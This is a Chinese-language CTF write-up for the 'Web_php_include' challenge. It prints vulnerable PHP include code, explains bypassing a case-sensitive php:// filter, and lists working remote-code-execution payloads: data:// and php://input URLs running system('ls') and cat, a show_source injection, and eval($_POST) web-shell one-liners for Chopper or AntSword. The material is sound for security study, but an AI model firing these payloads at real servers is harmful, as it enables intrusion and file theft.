CTF題目記錄5

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);//此處爲文件包含,執行page中的內容
?>

考察基礎的文件包含,過濾了php://
page變量可以操控

思路:先找flag文件的位置,再查看flag文件的內容

  • strstr()函數:大小寫不敏感,所以要想使用php協議,要改成大寫

  • cat命令

cat命令的用途是連接文件或標準輸入並打印。這個命令常用來顯示文件內容,或者將幾個文件連接起來顯示,或者從標準輸入讀取內容並顯示,它常與重定向符號配合使用。

1.命令格式:

cat [選項] [文件]…

2.命令功能:

cat主要有三大功能:

1.一次顯示整個文件:cat filename

2.從鍵盤創建一個文件:cat > filename 只能創建新文件,不能編輯已有文件.

3.將幾個文件合併爲一個文件:cat file1 file2 > file

  • ls命令/dir 列出文件

方法1:使用data://協議

http://124.126.19.106:56038/?page=data://text/plain,<?php system("ls")?>
在這裏插入圖片描述

方法2:使用php://input協議 大寫繞過
php://input 協議主要用來接收post數據,將post請求中的數據作爲php代碼執行

此處ps:我本準備用hackbar post數據 但是頁面一閃而過了,所以還是得用bp啊…
在這裏插入圖片描述
結果都是一樣的

然後我們要讀取文件的內容,執行 cat 命令
http://124.126.19.106:56038/?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
然後查看源代碼(根據評論,php文件一般在源代碼中)

也可以利用hello變量的:傳參hello=<?show_source('fl4gisisish3r3.php');?>

show_source() 函數對文件進行語法高亮顯示。

本函數是 highlight_file() 的別名
在這裏插入圖片描述
還有其它解法:摘自攻防世界的評論區

評1:菜刀直連 http://111.198.29.45:46279/index.php?page=data:%20text/plain,<?php%20eval(@$_POST['c'])%20?>

評2:這題我佔時瞭解3中方法。第一種利用 PHP://input post: <?php system("ls");?> 查看到fla…g.php;第二種:http://111.198.29.45:40787/index.php?page=data:text/plain,<?php system("ls"); ?>;第三中:http://111.198.29.45:40787/index.php?page=data:text/plain,<?php eval($_POST[c]); ?> 蟻劍連接:url裏面之間輸入前面的,密碼是c
還有一種into outfile 但是不行 ,因爲權限不夠 用chmod 777 /var/www/賦權限不行,所以放棄

php_rce

這題是矇蔽的,因爲啥都不知道QAQ
搜了一下是thinkphp 5.x rce漏洞 等我學習一下再來做

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章